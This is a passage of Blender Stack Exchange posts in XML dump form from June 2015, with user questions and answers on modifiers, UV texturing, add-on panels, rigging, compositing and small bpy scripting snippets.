ContentLicense="CC BY-SA 3.0" />
  <row Id="32919" PostTypeId="2" ParentId="32917" CreationDate="2015-06-24T11:19:05.353" Score="2" Body="&lt;p&gt;Scripted expression expects a mathematical function using the variable you set underneath (default name is &quot;var&quot;, but you can choose your own, avoiding blank spaces or others special sign).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I've set the Z rotation of the child object to be driven by Z rotation of the parent Obj. The name of the variable is &quot;var_ob_par&quot;, and the scripted expression is &quot; - var_ob_par&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Mhr7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-24T11:19:05.353" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32920" PostTypeId="1" AcceptedAnswerId="33029" CreationDate="2015-06-24T11:57:20.733" Score="3" ViewCount="1580" Body="&lt;p&gt;I am writing a Add-On which adds a panel to the 3d view. It should let users create primitive meshes and set details like name, subdivide, color or noise to manipulate the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the used details are stored in a list per object as part of the add-on. The intention is to use the list to give the user the opportunity to see what the values are on existing objects created by the addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I try to achieve:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the panel to be drawn always. Inside the panel are some properties which the user can manipulate and then press 'generate' so that a new object is generated with the new property values. A user should be able to select an already generated object, see the values of that object, manipulate them and generate a new object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example we have another object which has the name B. It has different values. If I select B, the values in the Panel need to change. The user should be able to change some of the values and generate a fully new object! The old object isn't manipulated. I only want to add some comforting behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bpy doesn't allow scene properties to be updated inside the scope of &lt;code&gt;poll&lt;/code&gt; or &lt;code&gt;draw&lt;/code&gt;, this means I can't automatically update the scene properies shown on the UI if one of my custom primitives is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no way to set properties from &lt;em&gt;inside&lt;/em&gt; the draw-method, how would I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the panel looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cm0MT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="47" LastEditDate="2015-06-26T06:14:13.437" LastActivityDate="2015-06-26T17:59:22.560" Title="Updating scene properties when the active_object changes" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32921" PostTypeId="1" CreationDate="2015-06-24T12:10:51.880" Score="1" ViewCount="1864" Body="&lt;p&gt;The thing is that the guide I'm following uses 3Dcoat to have the texture projected from the one side to the other side. I figured that Blender would be able to do this also, but I'm not quite sure how it works. I've tried to search the internet and there's probably guide, but I do really not know what to search for to find what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guide that I'm following: &lt;a href=&quot;https://www.youtube.com/watch?v=FiNASmArkxA&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=FiNASmArkxA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help, I found what I was looking for. &lt;a href=&quot;https://www.youtube.com/watch?v=hb-OZTNFatw&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=hb-OZTNFatw&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15211" LastEditorUserId="12" LastEditDate="2015-06-27T00:52:52.127" LastActivityDate="2015-07-27T01:01:44.533" Title="Paint on UV'ed model with external editor" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32922" PostTypeId="2" ParentId="32913" CreationDate="2015-06-24T12:13:20.070" Score="10" Body="&lt;p&gt;There were no seams in the model the edges were marked as sharp so the only thing you have to do to clear those &lt;kbd&gt;Ctrl&lt;/kbd&gt;+ &lt;kbd&gt;E&lt;/kbd&gt; &lt;em&gt;&gt; Clear Sharp&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="3710" LastEditDate="2015-06-24T12:15:02.100" LastActivityDate="2015-06-24T12:15:02.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32923" PostTypeId="2" ParentId="32897" CreationDate="2015-06-24T12:46:59.490" Score="0" Body="&lt;p&gt;Texture keyframes don't always appear in the dopesheet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JnKXu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the texture is used by an object in the scene, it'll show up in the dopesheet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSZHF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the texture in an input texture node in the compositor will not make it show up in the dope sheet (unless it's also used by an object in the scene):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P9efU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-06-24T12:46:59.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32924" PostTypeId="2" ParentId="32899" CreationDate="2015-06-24T14:04:18.273" Score="1" Body="&lt;p&gt;Its actually simple :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select the edge loop you need to seperate with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; as shown in the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BOEQZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the other remaining edges by right clicking on them....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're done selecting just the plate press &lt;kbd&gt;P&lt;/kbd&gt;&#xA;Then choose Separate by Selection&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now rotate it as you like....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now is the tricky part....&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how others do this, but I do it in this way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose the uppermost cube is your plate and the lower one as your main ship...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Cfzz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we've separated these two in the previous step...&#xA;Now make them a single object by &lt;kbd&gt; Shift+RMB&lt;/kbd&gt; selecting each object, and then pressing &lt;kbd&gt; Ctrl+J&lt;/kbd&gt; ..... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvwXT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to edit mode and go to vertex select mode... &#xA;and press &lt;kbd&gt; B &lt;/kbd&gt; to box select the plate from Orthographic View (&lt;kbd&gt;Num 5&lt;/kbd&gt;) or a comfortable angle...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For yours it may be right side (&lt;kbd&gt;Num 3&lt;/kbd&gt;)&#xA;then select all the edges to be joined....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case it's just two edge loops (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;)....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4PBS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;F&lt;/kbd&gt; to make faces between them...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it mightn't be the best technique but I found it works for me...&#xA;Hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="15177" LastEditorUserId="15924" LastEditDate="2015-12-21T23:03:33.413" LastActivityDate="2015-12-21T23:03:33.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32925" PostTypeId="2" ParentId="32878" CreationDate="2015-06-24T14:33:43.417" Score="1" Body="&lt;p&gt;Found the method that selects all the objects. I added the below line before visual_transform_apply() and it works as expected. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='SELECT')  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15189" LastActivityDate="2015-06-24T14:33:43.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32927" PostTypeId="1" CreationDate="2015-06-24T15:04:02.317" Score="2" ViewCount="36" Body="&lt;p&gt;I have a model which has some parts like the hair and the body separate, and I even have some different bones that are connected to each object separately. Now I need a way to connect them while the are still are rig to their current object, so the character's moves are more fluid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me what to do? Do I need a constraint? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If need Picture to see my problem then ask for them?&lt;/p&gt;&#xA;" OwnerUserId="14977" LastEditorUserId="3401" LastEditDate="2015-06-26T09:50:50.153" LastActivityDate="2015-06-26T09:50:50.153" Title="Its there a way to connect some bones when the are in different armatures?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32928" PostTypeId="2" ParentId="32780" CreationDate="2015-06-24T15:18:28.210" Score="3" Body="&lt;p&gt;You need to Bake the pose into an Action using visual keying:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pose &gt; Animation &gt; Bake Action&lt;/li&gt;&#xA;&lt;li&gt;You can bake 1 frame by setting the start and end to the same frame&lt;/li&gt;&#xA;&lt;li&gt;Set Visual Keying ON&lt;/li&gt;&#xA;&lt;li&gt;Set Clear Constraints ON&lt;/li&gt;&#xA;&lt;li&gt;Set Clear Parents ON&lt;/li&gt;&#xA;&lt;li&gt;Bake Data to Pose&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you should have an action with desired pose keyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load this action into Pose library (make it suitable for pose library with help ring icon)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-06-24T15:18:28.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32929" PostTypeId="2" ParentId="32921" CreationDate="2015-06-24T15:30:33.833" Score="1" Body="&lt;p&gt;UV unwap the object, enter edit mode, go to the UV editor, click UVs at the bottom and finally click Export UV layout. It will give you an image with a UV template image, which you can paint over and then load back into blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Based on your comment, try cutting the object in half using K and deleted one half. Then use the mirror modifier to restore the other side. Then position the viewport in the position you would like the final 2D texture coordinates to be. Now go into edit mode, press U and then unwrap from view. Follow the remainder of my steps from there.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastEditorUserId="14175" LastEditDate="2015-06-26T14:44:25.290" LastActivityDate="2015-06-26T14:44:25.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32930" PostTypeId="2" ParentId="32882" CreationDate="2015-06-24T15:42:36.300" Score="2" Body="&lt;p&gt;When you write &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.name = &quot;Cube1&quot; #to change the name but it does not work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you are changing the name of the MESH datablock.  To change the name of the OBJECT datablock:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.name = &quot;Cube1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would recommend altering the scale of the object instead of the dimensions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.scale = (2, 0.025, 1.25)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-06-24T15:57:04.600" LastActivityDate="2015-06-24T15:57:04.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32931" PostTypeId="1" AcceptedAnswerId="32933" CreationDate="2015-06-24T15:53:40.750" Score="4" ViewCount="6484" Body="&lt;p&gt;I've got an empty object which is parent to a couple of meshes. I want to keep these meshes seperated in order to be able to adjust their materials individually, but I want to rotate them altogether. That's why I created the empty object and set it to be the parent to those meshes. I am able to rotate them together, but the pivot point is (0,0,0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to set the origin of the empty object via &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; it doesn't change anything. I can change the origin of all the meshes to the desired pivot point, but still can't rotate them via the empty object. Any suggestions on how to achieve that? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15212" LastEditorUserId="1245" LastEditDate="2015-06-24T16:51:18.800" LastActivityDate="2016-05-21T13:13:20.453" Title="Set pivot point of empty object" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32932" PostTypeId="1" CreationDate="2015-06-24T16:09:19.427" Score="8" ViewCount="4666" Body="&lt;p&gt;Attached is an example in which &lt;em&gt;difference&lt;/em&gt; modifier behaves like &lt;em&gt;union&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is this is a bug (I think so)?&#xA;See &lt;a href=&quot;https://drive.google.com/file/d/0B3xskN0a8UruRjlQSmtrYjR5Vjg/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;this .blender example&lt;/a&gt; in which I tried to use boolean modifier difference (&lt;em&gt;Child&lt;/em&gt; is subtracted from &lt;em&gt;Parent&lt;/em&gt; so modifier is on &lt;em&gt;Parent&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;h3&gt;Behavior&lt;/h3&gt;&#xA;&lt;p&gt;In both, the expected behavior is &lt;em&gt;difference&lt;/em&gt;, but actual behavior is &lt;em&gt;union&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Failed attempts&lt;/h3&gt;&#xA;&lt;p&gt;Before posting here I:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checked that my objects were manifolds&lt;/li&gt;&#xA;&lt;li&gt;Checked that normals are pointing outwards (Edit Mode -&amp;gt; Select All -&amp;gt; Ctrl N)&lt;/li&gt;&#xA;&lt;li&gt;No shared faces between any two objects&lt;/li&gt;&#xA;&lt;li&gt;Removing doubles (double vertices)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/21304/cannot-execute-boolean-operation&quot;&gt;Converting to triangles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I have read extensively on StackExchange and other forums, and watched guides, including &lt;a href=&quot;https://www.youtube.com/watch?v=3JAZsJv7vUE&quot; rel=&quot;noreferrer&quot;&gt;this very relevant guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Any advice would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15118" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-06T16:53:05.690" Title="Blender Boolean modifier: Difference behaves like union" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32933" PostTypeId="2" ParentId="32931" CreationDate="2015-06-24T16:14:46.797" Score="3" Body="&lt;p&gt;An empty object does not have an origin, but it does have a Location.  You can use the &lt;kbd&gt;G&lt;/kbd&gt; key to move it, or just type new values for the location into the Properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this will cause the child objects to move with the parent.  You can use the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; menu to select the children and move them back to their previous world position with &lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: On the parent object  &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;3&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt;. &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, &lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt;. Then select the children and &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;3&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt;. &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt; to move them back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could clear the parenting relationship with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;; move the empty; and then re-parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the empty in its new location, rotating the empty will cause the children to rotate around that empty's location as the rotation center.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="241" LastEditDate="2015-06-24T17:34:15.023" LastActivityDate="2015-06-24T17:34:15.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32934" PostTypeId="1" CreationDate="2015-06-24T16:48:32.263" Score="0" ViewCount="397" Body="&lt;p&gt;My sword looks fine in solid view, but when I go into rendered view, it turns completely black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have mipmaps off, texture solid on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks fine in solid view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/sVBF7bq.png&quot; alt=&quot;intended coloring&quot;&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I switch to rendered view, the sword is entirely grey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/mUI1kSD.png&quot; alt=&quot;rendered coloring&quot;&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15213" LastEditorDisplayName="user1853" LastEditDate="2015-06-24T22:40:08.823" LastActivityDate="2015-06-24T22:40:08.823" Title="Texture Rendering Black, but shows up in textured view" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32935" PostTypeId="1" AcceptedAnswerId="32942" CreationDate="2015-06-24T17:11:47.657" Score="1" ViewCount="61" Body="&lt;p&gt;I guess automatic white balance was fooled by the background (garden through window), and now the people in the interior (yellowish light) look greenish. Is there a way to correct this white balance gone wrong?&lt;/p&gt;&#xA;" OwnerUserId="14923" LastActivityDate="2015-06-24T19:01:04.363" Title="My video is greenish, how do I correct it?" Tags="&lt;editing&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32936" PostTypeId="1" CreationDate="2015-06-24T17:40:51.130" Score="4" ViewCount="3665" Body="&lt;p&gt;I'm using Linux Mint and I was trying to enable GPU rendering, but I still have only CPU option in user preferences...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Linux Mint 17.1 x64  &lt;/li&gt;&#xA;&lt;li&gt;Radeon HD 7850  &lt;/li&gt;&#xA;&lt;li&gt;Blender 2.75 rc2  &lt;/li&gt;&#xA;&lt;li&gt;amd-catalyst 15.5  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;solved by myself&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15215" LastEditorUserId="15795" LastEditDate="2017-03-24T01:35:51.347" LastActivityDate="2017-03-24T01:35:51.347" Title="How to enable openCL rendering in Blender 2.75 rc2" Tags="&lt;rendering&gt;&lt;gpu&gt;&lt;linux&gt;&lt;opencl&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32937" PostTypeId="2" ParentId="32185" CreationDate="2015-06-24T17:47:28.440" Score="1" Body="&lt;p&gt;Your blend file did not contain the packed font image file, so I replaced the texture with one I googled.&lt;br&gt;&#xA;With your plane selected, and switching to edit mode the uv/image editor showed your unwrap as this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/axHjr.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For dynamic text to work you need to enclose the @ symbol in your unwrap like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qM9FV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This change makes your blendfile work as intended for me.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-24T17:47:28.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32938" PostTypeId="2" ParentId="32934" CreationDate="2015-06-24T18:03:25.240" Score="1" Body="&lt;p&gt;Your issue is that you don't have any lamps in your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a lamp, you can press &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to go to the add menu. Then go to lamp drop down, and select point. This will add a point light which casts light in all directions. After you add your light, just position it until it lights your sword well.&lt;/p&gt;&#xA;" OwnerUserId="15215" LastEditorUserId="8262" LastEditDate="2015-06-24T18:23:52.487" LastActivityDate="2015-06-24T18:23:52.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32939" PostTypeId="2" ParentId="32932" CreationDate="2015-06-24T18:38:32.460" Score="4" Body="&lt;p&gt;You are trying to use a simple plane as boolean operand here - which is by definition &lt;strong&gt;not&lt;/strong&gt; manifold (a manifold surface must be closed, since all its edges have to have two and only two faces). Behavior of booleans in this case is never really ensured…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your 3DView only shows objects enabled for rendering, and your 'ObjA' object is disabled for rendering, so it's completely hidden from 3DView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, I see no issue with this .blend, if there are please be more specific.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-24T18:38:32.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32940" PostTypeId="1" AcceptedAnswerId="32941" CreationDate="2015-06-24T18:39:36.993" Score="1" ViewCount="97" Body="&lt;p&gt;I am trying to add a vignette to a video clip, something I have done hundreds of times before, but my ellipse or box mask keeps being clipped by some setting that I can't find. It is only allowed to blur within a certain area, after that it is clipped sharply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VChBh.png&quot; alt=&quot;Example illustration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be the cause of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.74, and no other parts of the compositing nodes have an effect.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-24T18:55:54.773" Title="Compositor clipping blurred matte nodes" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32941" PostTypeId="2" ParentId="32940" CreationDate="2015-06-24T18:55:54.773" Score="2" Body="&lt;p&gt;What is happening is the blur node is using the render result size to determine the blur. What you need to do is set the render size to the same size as the footage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pBy2B.png&quot; alt=&quot;Render Resolution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this setting is set it should render correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5bRYe.png&quot; alt=&quot;Render Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-24T18:55:54.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32942" PostTypeId="2" ParentId="32935" CreationDate="2015-06-24T19:01:04.363" Score="4" Body="&lt;p&gt;Load your clip on the compositor. Add a Color balance node and move the gamma in the opposite direction of the dominant hue of your scene. If your scene is green you want to make it more magenta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f9BER.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-06-24T19:01:04.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32943" PostTypeId="1" AcceptedAnswerId="32946" CreationDate="2015-06-24T19:13:20.190" Score="11" ViewCount="3081" Body="&lt;p&gt;Just learning here... I created a model in Makehuman and imported it into Blender. When I pose the model I get really ugly creases where the mesh appears to overlap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nivYP35.png&quot; alt=&quot;Reference Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I clean this up or avoid it? I'm not worried about animating or anything I just want it to look smooth.&lt;/p&gt;&#xA;" OwnerUserId="15216" LastEditorUserId="55" LastEditDate="2015-06-24T20:41:09.830" LastActivityDate="2017-11-29T17:31:34.067" Title="How to resolve ugly artifacts bending joints after posing?" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32944" PostTypeId="1" CreationDate="2015-06-24T19:43:35.103" Score="0" ViewCount="66" Body="&lt;p&gt;My scene consists of a Null, key-framed rotation on itself, with a cube as child. The cube is translated at (6,0,0) and has a key-framed rotation along the x-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to bake or compress (not sure of the right term here) the transform hierarchy. The end result is the cube, moving exactly like when it was the child of the Null, with the offset, but now, it's not the child of the Null any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if there's a way to do it with Python, that would be a must!&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2015-06-24T22:24:12.797" Title="&quot;Compress&quot; a transform hierarchy" Tags="&lt;python&gt;&lt;transforms&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32945" PostTypeId="2" ParentId="32932" CreationDate="2015-06-24T20:22:38.773" Score="3" Body="&lt;p&gt;I could confirm the odd behaviour and found a way to work around it.&lt;/p&gt;&#xA;&lt;p&gt;The coil shaped object has two edge loops that exists in the same space, the one on top and the one in the bottom.&lt;/p&gt;&#xA;&lt;p&gt;So I selected the bottom one (&lt;kbd&gt;Alt&lt;/kbd&gt; + right click) and moved it up a tiny tiny amount. &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;z&lt;/kbd&gt; &lt;kbd&gt;0.001&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the boolean modifier works.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wPgC4.png&quot; alt=&quot;bottom edge loop nudged up&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQ5GB.png&quot; alt=&quot;bottom loop in coil&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-25T09:49:45.760" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
